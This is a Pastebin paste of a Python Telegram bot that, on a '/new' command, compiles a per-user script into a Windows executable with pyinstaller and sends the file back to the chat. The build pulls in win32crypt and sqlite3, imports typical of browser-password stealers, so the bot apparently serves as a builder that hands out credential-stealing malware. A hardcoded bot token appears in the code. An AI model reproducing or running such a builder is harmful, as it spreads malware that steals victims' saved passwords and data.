SHARE
TWEET

Untitled

a guest Jan 21st, 2020 57 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import telepot, time, subprocess, zipfile
  2.  
  3. def handle(msg):
  4.     content_type, chat_type, chat_id = telepot.glance(msg)
  5.  
  6.  
  7.     if (content_type == 'text'):
  8.         command = msg['text']
  9.         print ('Got command: %s' % command)
  10.  
  11.         if '/new' in command:
  12.             build_key = msg['chat']['id']
  13.             bot.sendMessage(chat_id, 'Okay, wait 15 sec...')
  14.             p = subprocess.Popen('pyinstaller --clean --onefile {}.py --hidden-import win32crypt --hidden-import sqlite3'.format(build_key), shell=True)
  15.             time.sleep(2)
  16.             bot.sendMessage(chat_id, '25%...')
  17.             time.sleep(4)
  18.             bot.sendMessage(chat_id, '50%...')
  19.             time.sleep(4)
  20.             bot.sendMessage(chat_id, '75%...')
  21.             time.sleep(6)
  22.             bot.sendMessage(chat_id, '100%...')
  23.             bot.sendDocument(chat_id, (open('C:\\Users\\Administrator\\dist\\{}.exe'.format(build_key), "rb")))
  24.  
  25.         if '/ico' in command:
  26.             p = subprocess.Popen('cls', shell=True)
  27.             bot.sendMessage(chat_id, 'Ready')
  28.  
  29.  
  30. bot = telepot.Bot('102280:AAEWEgc6l3DAYEJqRYBR-voRMxyLDk')
  31.  
  32. bot.message_loop(handle)
  33.  
  34. while 1:
  35.     time.sleep(20)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top